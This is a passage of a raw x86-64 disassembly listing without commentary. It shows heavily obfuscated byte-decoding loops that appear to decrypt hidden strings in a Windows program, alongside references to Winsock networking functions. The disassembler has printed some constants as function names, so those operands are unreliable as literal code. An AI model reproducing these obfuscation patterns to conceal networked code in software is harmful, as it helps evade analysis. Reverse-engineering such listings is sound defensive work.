and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
dec r11
inc r11
jmp 0x140046b23
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140046b23
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004751e
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140047195
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047014
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400471bb
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140047635
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400471e7
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
dec r11
inc r11
jmp 0x140046b23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047219
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140046b23
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140047014
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004751e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004726d
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004751e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047299
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
dec r11
inc r11
jmp 0x140046b23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400472c1
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004749d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400472e7
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x1400474c5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140047310
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400475d9
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140046fcb
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140047635
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047375
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004739d
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x1400475ac
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400473c6
sub r9b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400474c2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140046f8f
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
dec r11
inc r11
jmp 0x140046b23
lea edx, [r9 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
jmp 0x140047497
lea edx, [r9 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x6c
add dil, dl
jmp 0x1400475ac
sub r9b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x12
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b23
sub r9b, 6
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400475d9
lea edx, [r9 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xa0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140046b23
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140046b23
lea edx, [r9 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x32
add dil, dl
add r9b, 0x5e
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xa0], cl
inc r8
dec r11
inc r11
jmp 0x140046b23
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
inc r8
dec r11
inc r11
jmp 0x140046b23
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
dec r11
inc r11
jmp 0x140046b23
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x52
movzx r9d, r11b
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0xa
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b23
lea rax, [r11 + r15]
and sil, al
mov ecx, reloc.WS2_32.dll_send
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140046b23
sub r9b, 0x46
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x16
jmp 0x140046b20
sub r9b, 0x2a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140046b10
lea rdx, [rbp + 0x1494b38]
jmp 0x1400476a5
lea rdx, [rbp + 0x70ca2a]
jmp 0x1400476a5
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1f0]
call fcn.140042a40
mov r14, rax
mov byte [rbp + 0x110], 0x64
mov byte [rbp + 0x111], 0x79
mov byte [rbp + 0x112], 0x61
mov byte [rbp + 0x113], 0x65
mov byte [rbp + 0x114], 0x62
mov byte [rbp + 0x115], 0x60
mov byte [rbp + 0x116], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x117], xmm0
mov dword [rbp + 0x127], eax
movabs r15, 0xe69c3c741e1964c8
movabs r13, 0x810d2e44967ef7e8
movabs r12, 0xb3d4b55c5a4c2e58
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1b
jae 0x140048319
movzx r10d, byte [rbp + r11 + 0x110]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140048310
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004777c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x78
jmp 0x1400477b6
je 0x1400482a1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048242
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400481ee
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048196
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048175
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140048307
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x1400477ee
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047840
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004812e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048105
cmp rbx, rcx
je 0x1400480e6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400480c6
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400480ab
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004807c
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140047d2d
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140047d1f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140047cf9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047cd6
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140047de3
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140047cb9
lea rcx, [r8 + 0x28]
cmp rbx, rcx
je 0x140047c9c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140047c81
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140047c64
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140047c35
mov rbx, rcx
lea r8, [rcx + 0x40]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x1400482ea
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x1400482cd
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140047a06
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400479eb
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x1400479d0
lea rcx, [r8 + 0x64]
cmp rbx, rcx
jb 0x140047be8
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140047ba3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140047b63
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140047b38
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140047b09
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140047aec
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140047ad1
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140047ab4
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140047a9f
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
ja 0x140047a80
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140047a5a
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140047a31
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140047a23
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x140047850
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140047840
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x1400477c0
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140047750
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x140048137
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047733
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140047733
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400481b0
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x1400481d2
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400481d5
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140048213
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x14004825a
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x110], dil
inc r11
jmp 0x140047733
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 3
jb 0x140047b53
lea ecx, [r9 - 0x50]
movzx eax, cl
and al, r10b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140048148
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
cmp rbx, 0xa
jae 0x140048042
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140047f64
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140047b7d
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
lea rax, [r8 + rbx]
cmp rax, 6
je 0x140048060
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140047e51
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047bb9
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14004825a
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140048213
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x1400481d5
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x1400481d2
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
dec r11
inc r11
jmp 0x140047733
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140047733
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x140048137
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x140047d51
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140047bfe
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047d8c
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047db4
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048213
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140047dda
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400481d5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140047dfe
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400481b0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047e2d
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140047733
cmp rbx, rcx
jne 0x140047bfe
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140048148
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047e68
lea edx, [r9 + 0x38]
mov ecx, 0x3c
jmp 0x140048137
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047e94
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
dec r11
inc r11
jmp 0x140047733
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047eb8
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400481b0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140047ede
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x1400481d2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140047f02
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140048213
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140047f28
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14004825a
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140047bb9
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
jne 0x140047f95
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047fbb
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14004825a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047fdf
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140048213
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140048003
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400481b0
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140048027
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r11
inc r11
jmp 0x140047733
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140047b7d
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140048137
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400481b0
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140048213
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140048213
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400481d2
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400481b0
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047733
lea edx, [r9 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x78
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, r9b
mov byte [rbp + r11 + 0x110], r10b
inc r8
dec r11
inc r11
jmp 0x140047733
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
dec r11
inc r11
jmp 0x140047733
movzx r9d, r11b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
add r9b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x110], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140047733
movabs rcx, 0x4e45a72cd2b1c178
add rcx, r11
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x48
add dil, cl
movzx r9d, r11b
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x28
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x110], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14004825a
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x58
add dil, cl
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x110], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x110]
add rax, r8
add r11, rax
inc r11
jmp 0x140047733
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140047730
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x140047720
lea rdx, [rbp + 0x14fb770]
jmp 0x140048320
lea rdx, [rbp + 0xe91c38]
jmp 0x140048320
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x210]
call fcn.140042a40
nop
mov rdx, r14
mov rcx, rax
call fcn.1400445c0
lea rax, [rbp + 0x230]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x10], 0x5e
mov byte [rbp + 0x11], 0x80
mov byte [rbp + 0x12], 0x81
mov byte [rbp + 0x13], 0x86
mov byte [rbp + 0x14], 0x7d
mov byte [rbp + 0x15], WSAStartup
mov byte [rbp + 0x16], 0x4a
mov byte [rbp + 0x17], 0x82
mov byte [rbp + 0x18], 0x85
mov byte [rbp + 0x19], 0x84
mov byte [rbp + 0x1a], 0x18
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b], xmm0
mov dword [rbp + 0x2b], eax
mov byte [rbp + 0x2f], al
movabs rsi, 0x9c7ecc9af33e1983
movabs r14, 0x807531728d2ee59b
movabs r12, 0x4777983ca6b2b295
movabs r15, 0xd57c65d0d9ba4c89
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x140048ea4
movzx r10d, byte [rbp + r11 + 0x10]
mov edx, r10d
cmp rbx, r11
ja 0x140048e9b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048402
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x6b
jmp 0x140048422
je 0x140048e31
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048dac
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048d7d
movzx r9d, r11b
cmp r8, r11
ja 0x140048e92
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140048450
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x140048490
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048d39
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048d16
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048cf7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048ccb
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140048a06
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400489ea
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400489c4
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400489a1
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140048985
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048962
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140048942
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140048923
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048903
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400488d7
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400484a0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140048e75
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140048e58
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140048689
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004866e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140048653
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140048886
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004883c
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400487fc
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400487d7
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400484a0
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400487ab
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004878b
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004876c
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004874c
lea rcx, [r8 + 0x41]
cmp rbx, rcx
ja 0x14004872c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140048711
